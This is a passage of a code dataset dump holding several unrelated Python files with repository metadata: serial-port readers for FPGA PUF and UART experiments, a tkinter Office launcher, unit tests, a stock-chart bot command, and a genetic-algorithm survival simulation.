response[currBatch] = grouped_frequencies[i,currBatch] > grouped_frequencies[j,currBatch]\n    return response # 80 bit\n\ndef bit_array_to_string(arr):\n    response_char = ''\n    for i in range(0, len(arr)):\n        response_char = response_char + ('1' if arr[i] else '0')\n    return response_char \n\n# -------------\n#   Code \n# -------------\ndef evaluation():\n    # Define and open port\n    serial_port = serial.Serial(port='/dev/ttyUSB1', \n                                baudrate=115200, \n                                bytesize=serial.EIGHTBITS, \n                                parity=serial.PARITY_NONE, \n                                stopbits=serial.STOPBITS_ONE)\n    # Params\n    NUM_LOOPS = 1280\n    AUTH_ID = i2b(0b10101010)\n    AUTH_RESPONSE = i2b(0b10101011)\n    CHALLENGE = i2b(0b00000000)\n\n    # Send Auth request\n    print(\"-----------------------------\")\n    print(\"------ AUTHENTICATION -------\")\n    print(\"-----------------------------\")\n    print(f\"Sending Auth request\")\n    serial_port.write(AUTH_ID)\n    response = serial_port.read()\n\n    print(f\"Auth response: {response}\")\n    if response == AUTH_RESPONSE:\n        print(\"Response OK!\")\n        # Send challenge\n        serial_port.write(CHALLENGE)\n        # Read data\n        frequencies = []\n        i = 0\n        print(\"-----------------------------\")\n        print(\"--- RAW LOOPS FREQUENCIES ---\")\n        print(\"-----------------------------\")\n        while i < NUM_LOOPS:\n            # Read 4 bytes\n            bytes = serial_port.read(4)\n            # Convert to 32bit int\n            frequency = int.from_bytes(bytes=bytes, byteorder=\"big\",signed=False)\n            frequencies.append(frequency)\n            # Print\n            print(f\"[LOOP #{i}] {binascii.hexlify(bytearray(bytes)).decode('ascii')} (hex) -> {frequency} (dec)\")\n            i = i + 1\n        print(\"-----------------------------\")\n        print(\"-------- STATISTICS ---------\")\n        print(\"-----------------------------\")\n        # Save frequencies to a file\n        save_csv(frequencies, 'frequencies.csv')\n        # Compute statistics\n        max = np.max(frequencies)\n        max_bits = np.math.ceil(np.math.log2(max))\n        print(f\"Maximum frequency: {max}\")\n        print(f\"Maximum number of bits used: {max_bits}\")\n        print(\"-----------------------------\")\n        print(\"------ IDENTIFICATION -------\")\n        print(\"-----------------------------\")\n        # Split frequencies\n        gfreqs = group_frequencies(frequencies)\n        print(f\"Available challenges: {len(CHALLENGE_TO_PARAMS)}\")\n        responses = []\n        for challenge_num in range(0,len(CHALLENGE_TO_PARAMS)):\n            # Generate id\n            unique_id = generate_unique_id(CHALLENGE_TO_PARAMS[challenge_num][0],\n                                           CHALLENGE_TO_PARAMS[challenge_num][1],\n                                           gfreqs)\n            unique_id_str = bit_array_to_string(unique_id)\n            responses.append(unique_id_str)\n            print(f\"[CHALLENGE #{challenge_num}] Unique ID: {unique_id_str}\")\n        save_csv(responses, 'responses.csv')\n    else:\n        print(\"Auth failed!\")\n\n\n\n# Generate challenges mapping\ngenerate_challenge_to_params()\n\n# Run evaluation\nwhile READ_NUMBER > 0:\n    evaluation()\n    READ_NUMBER = READ_NUMBER - 1\n    print(f\"Missing {READ_NUMBER} repetitions!!\")","repo_name":"andreaaspesidev/puf-fpga","sub_path":"Analysis/Scripts/read_data_bulk.py","file_name":"read_data_bulk.py","file_ext":"py","file_size_in_byte":6205,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"1578869334","text":"from report import re_data_to_excel, re_txt_to_python, re_python_to_html\n\n\ndef get_report(root, project_name, verison_name):\n    result_path = root + '\\\\' + 'result_' + project_name + '_' + verison_name\n    path = result_path + '\\\\'\n\n    # Txt input path\n    txt_name = path + project_name + '.txt'\n\n    # Excel output info\n    excel_name = project_name + verison_name         # Output excel name\n    sheet_name = excel_name                  # The sheet in excel\n    data_name = excel_name                   # get a title for your data\n\n    # Html output info\n    html_output_path = path\n    title = data_name\n\n    # run module get excel\n    data_matrix = re_txt_to_python.process_data(txt_name)\n    re_data_to_excel.get_xls(path, data_matrix, sheet_name, excel_name, data_name)\n\n    # run module get html\n    re_python_to_html.get_html(data_matrix, title, html_output_path)\n\n\n","repo_name":"qweaxdzsc/fluent_add_on","sub_path":"fluent_gui/report/re_get_report.py","file_name":"re_get_report.py","file_ext":"py","file_size_in_byte":877,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"18275276838","text":"\nimport serial\n\nimport numpy as np\nimport time\n\nser = serial.Serial('/dev/COM3', 8*1000000, timeout=1)  # open seri\n\n\n\n\nepoch = 0\nsumm = []\nwhile True:\n    epoch = epoch+1\n\n    t0 = time.perf_counter()\n\n    ser.flushInput()\n    ser.flushOutput()\n\n    ser.write(bytearray(b'\\xfa\\x0a'))\n\n\n\n    rx_data = ser.read(2048*2)\n    t1 = time.perf_counter()\n    # print(rx_data)\n    print(len(rx_data))\n    fps = 1/(t1-t0)\n    print(fps)\n    summ.append(fps)\n\n    if epoch > 1000:\n        print(sum(summ)/len(summ))\n        break\n\n\n\nprint(rx_data)\ndata1 = np.frombuffer(rx_data, dtype=np.int16, count=-1).reshape(-1,1024)\nprint(data1)\nprint(data1.shape)\n\n# ser = serial.Serial('COM4', 8*1000000, timeout=2)  # open serial port\n\n\n# while True:\n#     t0 = time.perf_counter()\n#     ser.flushInput()\n#     ser.flushOutput()\n \n    \n#     ser.write(bytearray(b'\\xfa\\x0a'))\n  \n#     data = ser.read(2048*2)\n#     t1 = time.perf_counter()\n#     fps = 1/(t1-t0)\n#     print(len(data), fps)\n\n#     # data1 = np.frombuffer(data, dtype=np.int16, count=-1).reshape(-1,1024)\n\n\n#     # print(data1[0])\n#     # print(data1[1])\n#     break","repo_name":"MomenK/FIFO_USB","sub_path":"UART_test.py","file_name":"UART_test.py","file_ext":"py","file_size_in_byte":1113,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"3260396402","text":"class Stack:\n    def __init__(self):\n        \"\"\"\n        Initialize an empty stack.\n        \"\"\"\n        self.stack = []\n\n    def push(self, item):\n        \"\"\"\n        Push an item onto the top of the stack.\n\n        Args:\n            item: The item to be pushed onto the stack.\n        \"\"\"\n        self.stack.append(item)\n\n    def pop(self):\n        \"\"\"\n        Remove and return the item at the top of the stack.\n\n        Returns:\n            The item at the top of the stack, or None if the stack is empty.\n        \"\"\"\n        if not self.is_empty():\n            return self.stack.pop()\n        return None\n\n    def is_empty(self):\n        \"\"\"\n        Check if the stack is empty.\n\n        Returns:\n            True if the stack is empty, False otherwise.\n        \"\"\"\n        return len(self.stack) == 0\n\n\ndef validate_brackets(s):\n    \"\"\"\n    Check if the brackets in a string are balanced.\n\n    Args:\n        s (str): The input string containing brackets.\n\n    Returns:\n        bool: True if the brackets are balanced, False otherwise.\n    \"\"\"\n    stack = Stack()\n    opening_brackets = [\"(\", \"[\", \"{\"]\n    closing_brackets = [\")\", \"]\", \"}\"]\n    brackets_map = {\")\": \"(\", \"]\": \"[\", \"}\": \"{\"}\n\n    for char in s:\n        if char in opening_brackets:\n            stack.push(char)\n        elif char in closing_brackets:\n            if stack.is_empty():\n                return False\n            if brackets_map[char] != stack.pop():\n                return False\n\n    return stack.is_empty()\n","repo_name":"sajedaalrababah/data-structures-and-algorithms","sub_path":"stack_queue_brackets/stack_queue_Brackets.py","file_name":"stack_queue_Brackets.py","file_ext":"py","file_size_in_byte":1491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29027857897","text":"import os\nfrom datetime import datetime, tzinfo, timedelta\nfrom unittest import TestCase, mock\n\nfrom intranet.magiclinks.src.links.dto import (\n    String,\n    Number,\n    User,\n    Datetime,\n    Image,\n    List,\n    MatchOptions,\n    UrlObject,\n    BinaryResource\n)\n\n\nclass StringTestCase(TestCase):\n    def test_string_without_color(self):\n        string = String(value='привет')\n        self.assertEqual(string.to_dict(), {'type': 'string', 'value': 'привет'})\n\n    def test_string_with_color(self):\n        string = String(value='мир', color='#123456')\n        self.assertEqual(string.to_dict(), {'type': 'string', 'value': 'мир', 'color': '#123456'})\n\n\nclass NumberTestCase(TestCase):\n    def test_number(self):\n        number = Number(value=1)\n        self.assertEqual(number.to_dict(), {'type': 'number', 'value': 1, 'format': '%d'})\n\n    def test_floating_number(self):\n        number = Number(value=1.1, format='%f')\n        self.assertEqual(number.to_dict(), {'type': 'number', 'value': 1.1, 'format': '%f'})\n\n\nclass UserTestCase(TestCase):\n    def test_user(self):\n        user = User(login='justlive')\n        self.assertEqual(user.to_dict(), {'type': 'user', 'login': 'justlive'})\n\n\nclass DatetimeTestCase(TestCase):\n    def test_datetime(self):\n        dt = Datetime(value='2016-09-08T12:46:00')\n        self.assertEqual(dt.to_dict(), {'type': 'datetime', 'value': '2016-09-08T12:46:00'})\n\n    def test_datetime_from_datetime(self):\n        dt = Datetime.from_datetime(datetime(2016, 9, 8, 12, 46))\n        self.assertEqual(dt.to_dict(), {'type': 'datetime', 'value': '2016-09-08T12:46:00'})\n\n    def test_datetime_with_microseconds_and_tzinfo(self):\n        class MyTz(tzinfo):\n            def utcoffset(self, dt):\n                return timedelta(minutes=123)\n\n        dt = Datetime.from_datetime(datetime(2016, 9, 8, 12, 46, 14, 221133, tzinfo=MyTz()))\n        self.assertEqual(dt.to_dict(), {'type': 'datetime',\n                                        'value': '2016-09-08T12:46:14.221133+02:03'})\n\n\nclass ImageTestCase(TestCase):\n    def test_image(self):\n        image = Image(src='http://ссылка-с-кирилицей.рф/path', width=50, height=50, text='Текст')\n        self.assertEqual(image.to_dict(), {'type': 'image',\n                                           'src': 'http://ссылка-с-кирилицей.рф/path',\n                                           'width': 50, 'height': 50, 'text': 'Текст'})\n\n    def test_src_wrong_value(self):\n        self.assertRaises(TypeError, Image, src=123)\n\n\nclass ListTestCase(TestCase):\n    def test_list(self):\n        lst = List(value=[\n            String(value='привет')\n        ])\n        self.assertEqual(lst.to_dict(), {'type': 'list', 'separator': chr(160), 'ttl': 10800, 'value': [\n            {'type': 'string', 'value': 'привет'}\n        ], 'completed': True})\n\n    def test_list_with_inner_list(self):\n        lst = List(value=[\n            String(value='привет'),\n            List(separator='', value=[\n                String(value='мир')\n            ])\n        ])\n        self.assertEqual(lst.to_dict(), {'type': 'list', 'separator': chr(160), 'ttl': 10800, 'value': [\n            {'type': 'string', 'value': 'привет'},\n            {'type': 'list', 'separator': '', 'ttl': 10800, 'value': [\n                {'type': 'string', 'value': 'мир'}\n            ], 'completed': True}\n        ], 'completed': True})\n\n\nclass MatchOptionsTestCase(TestCase):\n    def test_regexes_are_compiled_at_creation(self):\n        hostname_regex = r'this is hostname regex'\n        path_regex = r'this is path regex'\n        fragment_regex = r'this is fragment regex'\n        query_regex = r'this is query regex'\n        match_options = MatchOptions(hostname_regex=hostname_regex, path_regex=path_regex,\n                                     fragment_regex=fragment_regex, query_regex=query_regex,\n                                     )\n        self.assertEqual(match_options.hostname_regex.pattern, hostname_regex)\n        self.assertEqual(match_options.path_regex.pattern, path_regex)\n        self.assertEqual(match_options.fragment_regex.pattern, fragment_regex)\n        self.assertEqual(match_options.query_regex.pattern, query_regex)\n\n\nclass UrlObjectTestCase(TestCase):\n    def test_url_objects_with_same_url_are_equal_and_have_same_hash(self):\n        url_object1 = UrlObject(url='http://example.com/path', split_result=None,\n                                hostname_match=None, path_match=None, worker_class_file=None,\n                                fragment_match=None, query_match=None,\n                                )\n        url_object2 = UrlObject(url='http://example.com/path', split_result=None,\n                                hostname_match=None, path_match=None, worker_class_file=None,\n                                fragment_match=None, query_match=None,\n                                )\n        self.assertIsNot(url_object1, url_object2)\n        self.assertEqual(url_object1, url_object2)\n        self.assertEqual(hash(url_object1), hash(url_object2))\n\n    def test_url_objects_as_set_items(self):\n        s = set()\n\n        url_object1 = UrlObject(url='http://example.com/path', split_result=None,\n                                hostname_match=None, path_match=None, worker_class_file=None,\n                                fragment_match=None, query_match=None,\n                                )\n        url_object2 = UrlObject(url='http://example.com/path', split_result=None,\n                                hostname_match=None, path_match=None, worker_class_file=None,\n                                fragment_match=None, query_match=None,\n                                )\n        url_object3 = UrlObject(url='http://example.com/another-path', split_result=None,\n                                hostname_match=None, path_match=None, worker_class_file=None,\n                                fragment_match=None, query_match=None,\n                                )\n        s.add(url_object1)\n        self.assertIn(url_object1, s)\n        self.assertIn(url_object2, s)\n        self.assertNotIn(url_object3, s)\n\n    def test_url_objects_as_dict_keys(self):\n        d = dict()\n\n        url_object1 = UrlObject(url='http://example.com/path', split_result=None,\n                                hostname_match=None, path_match=None, worker_class_file=None,\n                                fragment_match=None, query_match=None,\n                                )\n        url_object2 = UrlObject(url='http://example.com/path', split_result=None,\n                                hostname_match=None, path_match=None, worker_class_file=None,\n                                fragment_match=None, query_match=None,\n                                )\n        url_object3 = UrlObject(url='http://example.com/another-path', split_result=None,\n                                hostname_match=None, path_match=None, worker_class_file=None,\n                                fragment_match=None, query_match=None,\n                                )\n        d[url_object1] = 123\n        self.assertEqual(d[url_object1], 123)\n        self.assertEqual(d[url_object2], 123)\n        self.assertNotIn(url_object3, d)\n\n\nclass TestBinaryResource(TestCase):\n    path = os.path.abspath(__file__)\n\n    def test_resource_exists(self):\n        path_to_icon = 'intranet/magiclinks/tests/resources/test_serialization/test_favicon.ico'\n        with mock.patch.object(BinaryResource, 'path_to_icon', return_value=path_to_icon):\n            resource = BinaryResource('test_favicon.ico', self.path)\n        self.assertEqual(resource.serialize(), 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAA\\n')\n\n    def test_resource_not_exists(self):\n        self.assertRaises(ValueError, BinaryResource, 'not_exists.ico', self.path)\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"Intranet/tests/test_dto.py","file_name":"test_dto.py","file_ext":"py","file_size_in_byte":7840,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"20508092514","text":"# import required modules\nfrom tkinter import *\nimport subprocess\nimport datetime\nimport getpass #Used to fetch username only\n\n\n# Set functions\ndef startWord():\n    subprocess.Popen('C:\\\\Program Files\\\\Microsoft Office\\\\root\\\\Office16\\\\WINWORD.EXE')\ndef startPowerPoint():\n    subprocess.Popen(\"C:\\\\Program Files\\\\Microsoft Office\\\\root\\\\Office16\\\\POWERPNT.EXE\")\ndef startExcel():\n    subprocess.Popen(\"C:\\\\Program Files\\\\Microsoft Office\\\\root\\\\Office16\\\\EXCEL.EXE\")\ndef startOutlook():\n    subprocess.Popen('C:\\\\Program Files\\\\Microsoft Office\\\\root\\\\Office16\\\\OUTLOOK.EXE')\ndef startAccess():\n    subprocess.Popen(\"C:\\\\Program Files\\\\Microsoft Office\\\\root\\\\Office16\\\\MSACCESS.EXE\")\ndef startOneDrive():\n    subprocess.Popen(\"C:\\\\Program Files (x86)\\\\Microsoft OneDrive\\\\OneDrive.exe\")\n\n\n# Pre-script\nwindow = Tk()\nwindow.overrideredirect(False)\nwindow.geometry(\"550x370\")\nwindow.title(\"Office\")\nwindow.minsize(450, 360)\nwindow.maxsize(900, 500)\n\n\n# Color code for back and foreground colors in different color mode\nlightBg=\"#FAF9F8\"\nlightFg=\"#252423\"\ndarkBg=\"#1B1A19\"\ndarkFg=\"#E9E8E8\"\n\n\n# Fetch current system username for greet string later\ncurrentUser=getpass.getuser()\n\n\n# Fetch current time to determine the color mode to be rendered\ncurrentTime=datetime.datetime.now()\ncurrentTime.hour\n\n\n# Deetrmine whether it's morning, afternoon or evening to print greets based on that\nif currentTime.hour < 12:\n    greetString=(\"Good morning, {}\".format(currentUser))\nelif 12 <= currentTime.hour < 18:\n    greetString=(\"Good afternoon, {}\".format(currentUser))\nelse:\n    greetString=(\"Good evening, {}\".format(currentUser))\n\n\n# Create a function called darkMode to be executed for dark mode\ndef darkMode():\n    windowColorMode=darkBg\n    window.configure(bg=windowColorMode)\n    firstLine=Label(master=window, text=greetString, font=(\"Arial Bold\", 18), bg=darkBg, fg=darkFg)\n    firstLine.place(relx = 0.5, rely = 0.1, anchor = \"center\")\n    secondLine=Label(window, text=\"Office apps avaliable:\", font=(\"Arial Bold\", 13), bg=darkBg, fg=darkFg)\n    secondLine.place(relx = 0.3, rely = 0.23, anchor = \"center\")\n    thirdLine=Label(window, text=\"More apps:\", font=(\"Arial Bold\", 11), bg=darkBg, fg=darkFg)\n    thirdLine.place(relx = 0.73, rely = 0.23, anchor = \"center\")\n\n\n # Create a function called lightMode to be executed for light mode\ndef lightMode():\n    windowColorMode=lightBg\n    window.configure(bg=windowColorMode)\n    firstLine=Label(window, text=greetString, font=(\"Arial Bold\", 18), bg=lightBg, fg=lightFg)\n    firstLine.place(relx = 0.5, rely = 0.1, anchor = \"center\")\n    secondLine=Label(window, text=\"Office apps avaliable:\", font=(\"Arial Bold\", 13), bg=lightBg, fg=lightFg)\n    secondLine.place(relx = 0.3, rely = 0.23, anchor = \"center\")\n    thirdLine=Label(window, text=\"More apps:\", font=(\"Arial Bold\", 11), bg=lightBg, fg=lightFg)\n    thirdLine.place(relx = 0.73, rely = 0.23, anchor = \"center\")\n\n\n# Determine which render mode to use\nif currentTime.hour < 8:\n    darkMode()\nelif currentTime.hour < 19:\n    lightMode()\nelse:\n    darkMode()\n\n\n# Deploy all the buttons on the screen\n    # Word button\nwordButton=Button(window, text=\"Word\", font=(\"Arial Bold\", 13), width=14, height=2, bg=\"#1651AA\", fg=\"white\", command=startWord)\nwordButton.place(relx = 0.3, rely = 0.36, anchor = \"center\")\nwordButton[\"border\"]=\"0\"\n\n\n    # PowerPoint button\npowerPointButton=Button(window, text=\" PowerPoint \", font=(\"Arial Bold\", 13), width=14, height=2, bg=\"#B13719\", fg=\"white\", command=startPowerPoint)\npowerPointButton.place(relx = 0.3, rely = 0.5, anchor = \"center\")\npowerPointButton[\"border\"]=\"0\"\n\n\n    # Excel button\nexcelButton=Button(window, text=\"      Excel      \", font=(\"Arial Bold\", 13), width=14, height=2, bg=\"#0F703B\", fg=\"white\", command=startExcel)\nexcelButton.place(relx = 0.3, rely = 0.64, anchor = \"center\")\nexcelButton[\"border\"]=\"0\"\n\n\n    # Outlook button\noutlookButton=Button(window, text=\"      Outlook      \", font=(\"Arial Bold\", 13), width=10, height=1, bg=\"#106EBE\", fg=\"white\", command=startOutlook)\noutlookButton.place(relx = 0.73, rely = 0.33, anchor = \"center\")\noutlookButton[\"border\"]=\"0\"\n\n\n    # OneDrive button\noneDriveButton=Button(window, text=\"      OneDrive      \", font=(\"Arial Bold\", 13), width=10, height=1, bg=\"#0078D4\", fg=\"white\", command=startOneDrive)\noneDriveButton.place(relx = 0.73, rely = 0.425, anchor = \"center\")\noneDriveButton[\"border\"]=\"0\"\n\n\n    # Access button\naccessButton=Button(window, text=\"      Access      \", font=(\"Arial Bold\", 13), width=10, height=1, bg=\"#A4373A\", fg=\"white\", command=startAccess)\naccessButton.place(relx = 0.73, rely = 0.52, anchor = \"center\")\naccessButton[\"border\"]=\"0\"\n\n\n# Loop the script till interrupt occurs\nwindow.mainloop()\n","repo_name":"Wind-Explorer/365-Launcher","sub_path":"main.pyw","file_name":"main.pyw","file_ext":"pyw","file_size_in_byte":4717,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"15718071457","text":"import logging\n\nimport plotly.graph_objects as go\n\nfrom bots import imps, load_candle\nfrom openbb_terminal.common.technical_analysis import momentum_model\nfrom openbb_terminal.decorators import log_start_end\n\n# pylint: disable=R0913\nlogger = logging.getLogger(__name__)\n\n\n@log_start_end(log=logger)\ndef fisher_command(\n    ticker: str = \"\",\n    interval: int = 15,\n    past_days: int = 0,\n    length=\"14\",\n    start=\"\",\n    end=\"\",\n    extended_hours: bool = False,\n    heikin_candles: bool = False,\n    news: bool = False,\n):\n    \"\"\"Displays chart with fisher transformation [Yahoo Finance]\"\"\"\n\n    # Debug\n    if imps.DEBUG:\n        logger.debug(\n            \"ta fisher %s %s %s %s %s %s %s %s %s\",\n            ticker,\n            interval,\n            past_days,\n            length,\n            start,\n            end,\n            extended_hours,\n            heikin_candles,\n            news,\n        )\n\n    # Check for argument\n    if ticker == \"\":\n        raise Exception(\"Stock ticker is required\")\n\n    # Retrieve Data\n    df_stock, start, end, bar_start = load_candle.stock_data(\n        ticker=ticker,\n        interval=interval,\n        past_days=past_days,\n        extended_hours=extended_hours,\n        start=start,\n        end=end,\n        heikin_candles=heikin_candles,\n    )\n\n    if df_stock.empty:\n        raise Exception(\"No Data Found\")\n\n    if not length.lstrip(\"-\").isnumeric():\n        raise Exception(\"Number has to be an integer\")\n    length = int(length)\n\n    df_ta = df_stock.loc[(df_stock.index >= start) & (df_stock.index < end)]\n\n    if df_ta.empty:\n        raise Exception(\"No Data Found\")\n\n    df_ta = df_ta.join(momentum_model.fisher(df_stock[\"High\"], df_stock[\"Low\"], length))\n\n    # Output Data\n    if interval != 1440:\n        df_ta = df_ta.loc[(df_ta.index >= bar_start) & (df_ta.index < end)]\n    df_ta = df_ta.fillna(0.0)\n\n    plot = load_candle.candle_fig(\n        df_ta,\n        ticker,\n        interval,\n        extended_hours,\n        news,\n        bar=bar_start,\n        int_bar=interval,\n        rows=2,\n        cols=1,\n        shared_xaxes=True,\n        vertical_spacing=0.07,\n        row_width=[0.4, 0.6],\n        specs=[[{\"secondary_y\": True}], [{\"secondary_y\": False}]],\n    )\n    title = f\"<b>{plot['plt_title']} Fisher Transform</b>\"\n    fig = plot[\"fig\"]\n    idx = 6 if interval != 1440 else 11\n\n    dmin = df_ta.iloc[:, (idx + 1)].values.min()\n    dmax = df_ta.iloc[:, (idx + 1)].values.max()\n    fig.add_trace(\n        go.Scatter(\n            name=\"Fisher\",\n            mode=\"lines\",\n            x=df_ta.index,\n            y=df_ta.iloc[:, idx].values,\n            opacity=1,\n        ),\n        row=2,\n        col=1,\n    )\n    fig.add_trace(\n        go.Scatter(\n            name=\"Signal\",\n            mode=\"lines\",\n            x=df_ta.index,\n            y=df_ta.iloc[:, (idx + 1)].values,\n            opacity=1,\n        ),\n        row=2,\n        col=1,\n    )\n    fig.add_hrect(\n        y0=2,\n        y1=(dmax + 4),\n        fillcolor=\"red\",\n        opacity=0.2,\n        layer=\"below\",\n        line_width=0,\n        row=2,\n        col=1,\n    )\n    fig.add_hrect(\n        y0=-2,\n        y1=(dmin - 4),\n        fillcolor=\"green\",\n        opacity=0.2,\n        layer=\"below\",\n        line_width=0,\n        row=2,\n        col=1,\n    )\n    fig.add_hline(\n        y=-2,\n        fillcolor=\"green\",\n        opacity=1,\n        layer=\"below\",\n        line_width=3,\n        line=dict(color=\"green\", dash=\"dash\"),\n        row=2,\n        col=1,\n    )\n    fig.add_hline(\n        y=2,\n        fillcolor=\"red\",\n        opacity=1,\n        layer=\"below\",\n        line_width=3,\n        line=dict(color=\"red\", dash=\"dash\"),\n        row=2,\n        col=1,\n    )\n    fig.update_layout(\n        margin=dict(l=0, r=0, t=50, b=20),\n        template=imps.PLT_TA_STYLE_TEMPLATE,\n        colorway=imps.PLT_TA_COLORWAY,\n        title=title,\n        title_x=0.02,\n        title_font_size=14,\n        dragmode=\"pan\",\n    )\n    imagefile = \"ta_fisher.png\"\n\n    # Check if interactive settings are enabled\n    plt_link = \"\"\n    if imps.INTERACTIVE:\n        plt_link = imps.inter_chart(fig, imagefile, callback=False)\n\n    fig.update_layout(\n        width=800,\n        height=500,\n    )\n\n    imagefile = imps.image_border(imagefile, fig=fig)\n\n    return {\n        \"title\": f\"Stocks: Fisher-Transform {ticker.upper()}\",\n        \"description\": plt_link,\n        \"imagefile\": imagefile,\n    }\n","repo_name":"rohankumardubey/OpenBBTerminal","sub_path":"bots/stocks/technical_analysis/fisher.py","file_name":"fisher.py","file_ext":"py","file_size_in_byte":4402,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"19248742275","text":"from tabulous import TableViewer\nimport numpy as np\nimport pandas as pd\nfrom magicgui import magicgui\n\n# This example shows how to use the highlights.\n\nif __name__ == \"__main__\":\n    viewer = TableViewer()\n    data = {\n        \"time\": pd.Series([f\"2022-01-0{x}\" for x in range(1, 7)]),\n        \"value\": np.random.random(6),\n    }\n    table = viewer.add_table(data)\n\n    @table.add_side_widget\n    @magicgui(auto_call=True)\n    def set_highlight(row: int):\n        if 0 <= row < len(table.index):\n            table.highlights = [(row, slice(None))]\n\n    viewer.show()\n","repo_name":"hanjinliu/tabulous","sub_path":"examples/02-2_use_highlights.py","file_name":"02-2_use_highlights.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","stars":72,"dataset":"github-code","pt":"3"}
+{"seq_id":"15473270698","text":"import random\nfrom datetime import datetime\n\nimport numpy\n\nimport src.AI.DecisionTrees.InductiveDecisionTreeLearning as DT\nfrom src.AI.Affinities import Affinities\nfrom src.AI.DecisionTrees.DecisionTree import DecisionTree\nfrom src.AI.DecisionTrees.projectSpecificClasses.SurvivalAttributesDefinitions import \\\n    SurvivalAttributesDefinitions as AttrDefs\nfrom src.AI.DecisionTrees.projectSpecificClasses.SurvivalClassification import SurvivalClassification\nfrom src.AI.SurvivalDT import SurvivalDT\nfrom src.entities.Player import Player\n\n\ndef geneticAlgorithmWithDecisionTree(map, iter, solutions, decisionTreeExamples, mutationAmount=0.05):\n    \"\"\"\n    This is fusion of genetic algorithm and decision tree. Decision tree is giving travel goals for player.\n\n    :param decisionTreeExamples:\n    :param map: Map with all entities\n    :param iter: Generations count\n    :param solutions: Solutions per generation\n    :param mutationAmount: Mutation strength\n    \"\"\"\n\n    survivalDecisionTree = SurvivalDT(DT.inductiveDecisionTreeLearning(decisionTreeExamples,\n                                                                       AttrDefs.allAttributesDefinitions,\n                                                                       SurvivalClassification.FOOD,\n                                                                       SurvivalClassification))\n\n    print(\"\\nDecision tree: \\n\")\n    DecisionTree.printTree(survivalDecisionTree.entityPickingDecisionTree, 0)\n    print()\n\n    # Based on 4 weights, that are affinities tied to the player\n    weightsCount = 4\n\n    # Initialize the first population with random values\n    initialPopulation = numpy.random.uniform(low=0.0, high=1.0, size=(solutions, weightsCount))\n    population = initialPopulation\n    maps = []\n\n    # Set the RNG seed for this GA\n    # 125 is good for weak start\n    random.seed(125)\n    # Begin\n    for i in range(iter):\n        print(\"\\nRunning {} generation...\".format(i + 1))\n\n        # random.seed(random.randrange(0, 100000))\n        fitness = []\n\n        for player in population:\n            fitness.append(doSimulation(player, map, survivalDecisionTree))\n\n        parents = selectMatingPool(population, fitness, int(solutions / 2))\n\n        print(\"Best fitness: {}\".format(max(fitness)))\n        offspring = mating(parents, solutions, mutationAmount)\n        print(\"Best offspring: \", offspring[0])\n\n        writeResults(i, max(fitness), offspring[0])\n\n        population = offspring\n\n\ndef selectMatingPool(population, fitness, count):\n    \"\"\"\n    Pick best players from a population.\n\n    :param population: Entire population pool\n    :param fitness: Fitnesses coresponding to each player\n    :param count: Selection count\n    \"\"\"\n    result = []\n    bestIdxs = []\n    for i in range(count):\n        bestIdx = (numpy.where(fitness == numpy.max(fitness)))[0][0]\n        fitness[bestIdx] = 0\n        bestIdxs.append(bestIdx)\n    for id in bestIdxs:\n        result.append(population[id])\n    return result\n\n\ndef mating(parents, offspringCount, mutationAmount):\n    \"\"\"\n    Generate an offspring from parents.\n\n    :param parents: Array of parents weights\n    :param offspringCount: Offspring count\n    :param mutationAmount: How strong is the mutation of the genes\n    :return: An array of new offspring\n    \"\"\"\n    offspring = []\n    for i in range(offspringCount):\n        parent1 = i % len(parents)\n        parent2 = (i + 1) % len(parents)\n        offspring.append(crossover(parents[parent1], parents[parent2]))\n\n    offspring = mutation(offspring, mutationAmount)\n    return offspring\n\n\ndef crossover(genes1, genes2):\n    \"\"\"\n    Apply a crossover between two genes.\n    Currently, it calculates the median.\n\n    :param genes1: An array of genes\n    :param genes2: An array of genes\n    :return: Array of resulted genes\n    \"\"\"\n    result = []\n    for gene1, gene2 in zip(genes1, genes2):\n        result.append((gene1 + gene2) / 2)\n    return result\n\n\ndef mutation(offspring, mutationAmount):\n    \"\"\"\n    Apply a random offset to a random gene.\n\n    :param offspring: Array of offspring\n    :param mutationAmount: How strong the mutation is\n    :return: Offspring after mutation\n    \"\"\"\n    for player in offspring:\n        randomGeneIdx = random.randrange(0, len(player))\n        player[randomGeneIdx] = player[randomGeneIdx] + random.uniform(-1.0, 1.0) * mutationAmount\n    return offspring\n\n\ndef doSimulation(weights, map, decisionTree: SurvivalDT):\n    \"\"\"\n    Runs the simulation. Returns fitness.\n\n    :param decisionTree:\n    :param weights: A list of weights for players.\n    :param map: Map object\n    \"\"\"\n    player = Player((6, 2), map.tileSize, Affinities(weights[0], weights[1], weights[2], weights[3]))\n    player.disableMovementTime()\n    while player.alive:\n        if player.movementTarget is None:\n            target = decisionTree.pickEntity(player, map, pickForGa=True)\n            player.gotoToTarget(target, map)\n        player.update()\n    fitness = player.movePoints\n    player.kill()\n    del player\n    map.respawn()\n    return fitness\n\n\ndef writeResults(iter, bestFit, bestMember):\n    \"\"\"\n    Logs the results of the iteration to files.\n    The function will create two files - one that is human-readable,\n    and the other as Raw data used for plotting and analysis.\n    The output file is fixed to src/AI/resultsExplorer/.\n\n    :param iter: Current iteration index\n    :param bestFit: Best fitness in this generation\n    :param bestMember: Array of affinities of the best member in the generation\n    \"\"\"\n    if iter == 0:\n        # Initialize human-readable log file\n        with open(\"src/AI/resultsExplorer/results.txt\", \"w+\") as f:\n            f.write(\"GA Results from \" + str(datetime.now()))\n            f.write(\"\\n\")\n\n        with open(\"src/AI/resultsExplorer/resultsRaw.txt\", \"w+\") as f:\n            f.write(\"=HEADER=GA=\\n\")\n\n    with open(\"src/AI/resultsExplorer/results.txt\", \"a\") as f:\n        f.write(\"Population: {}\\n\".format(iter))\n        f.write(\"Best fitness: {}\\n\".format(bestFit))\n        